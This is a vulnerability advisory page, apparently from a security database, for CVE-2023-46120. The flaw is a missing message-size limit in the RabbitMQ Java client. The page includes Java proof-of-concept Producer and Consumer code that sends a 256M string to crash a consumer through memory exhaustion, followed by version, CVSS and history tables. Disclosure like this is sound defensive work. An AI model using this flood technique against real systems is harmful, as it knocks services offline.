Medium

RabbitMQ Java client's Lack of Message Size Limitation leads to Remote DoS Attack

Disclosed: 24.10.2023
Updated: 11.10.2026 13:20

Summary

maxBodyLebgth was not used when receiving Message objects. Attackers could just send a very large Message causing a memory overflow and triggering an OOM Error.

PoC

RbbitMQ

Use RabbitMQ 3.11.16 as MQ and specify Message Body size 512M (here it only needs to be larger than the Consumer memory)
Start RabbitMQ

Producer

Build a String of length 256M and send it to Consumer

package org.springframework.amqp.helloworld; 

import org.springframework.amqp.core.AmqpTemplate; 
import org.springframework.context.ApplicationContext; 
import org.springframework.context.annotation.AnnotationConfigApplicationContext; 

public class Producer {
    public static void main(String[] args) {
        ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);
        AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class); 
        String s = "A";
        for(int i=0;i<28;++i){
            s = s + s;
            System.out.println(i);
        }
        amqpTemplate.convertAndSend(s);
        System.out.println("Send Finish");
    }
 }

Consumer

First set the heap memory size to 128M
Read the message sent by the Producer from the MQ and print the length

package org.springframework.amqp.helloworld;

import org.springframework.amqp.core.AmqpTemplate;
import org.springframework.amqp.core.Message;
import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.AnnotationConfigApplicationContext;

public class Consumer {
    
    public static void main(String[] args) {
        ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);
        AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class);
        Object o = amqpTemplate.receiveAndConvert();
        if(o != null){
            String s = o.toString();
            System.out.println("Received Length : " + s.length());
        }else{
            System.out.println("null");
        }
    }
}

Results

Run the Producer first, then the Consumer
Consumer throws OOM Exception

Impact

Users of RabbitMQ may suffer from DoS attacks from RabbitMQ Java client which will ultimately exhaust the memory of the consumer.

Affected software

Click a technology to see all vulnerabilities affecting it.

Platform	Package	Vulnerable versions	Fixed in
Java / Kotlin (Maven)	com.rabbitmq:amqp-client	< 5.18.0	5.18.0

References

CVSS score 4.9/10

CVSS vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
Weakness (CWE): CWE-400
Platform: Java / Kotlin (Maven)
Package: com.rabbitmq:amqp-client
Disclosed: 24.10.2023
Updated: 11.10.2026 13:20

Sources and licenses

OSV / GitHub Advisory Database - GHSA-mm8h-8587-p46h - CC BY 4.0

Vulnerability history: com.rabbitmq:amqp-client

All published vulnerabilities of this package (Java / Kotlin (Maven)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (12) in the archive

Total entries: 12
First → latest: 10.2018 10.2026
Without a fix: 0
Exploited in attacks: 0

Severity breakdown

High 4
Medium 7
Low 1

Disclosures per year

2018: 1
2019: 0
2020: 0
2021: 0
2022: 0
2023: 1
2024: 0
2025: 0
2026: 10

17.09.2026

RabbitMQ Java client has frame-level OOM: Math.min(maxInboundMessageBodySize, 0) defeats frame size enforcement

High CVE-2026-75516 < 5.34.0 5.34.0
18.08.2026

RabbitMQ Java client: Unvalidated Class.forName in JSON-RPC ProcedureDescription enables arbitrary class loading

High CVE-2026-63337 < 5.33.0 5.33.0
18.08.2026

RabbitMQ Java client ValueReader: Oversized LongString/bytes length triggers OOM via unchecked allocation

High CVE-2026-69219 < 5.33.1 5.33.1
18.08.2026

RabbitMQ Java client ValueReader: Unbounded recursive table/array nesting causes StackOverflowError DoS

High CVE-2026-69220 < 5.33.1 5.33.1
24.10.2023

RabbitMQ Java client's Lack of Message Size Limitation leads to Remote DoS Attack this entry

Medium · 4.9 CVE-2023-46120 < 5.18.0 5.18.0

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application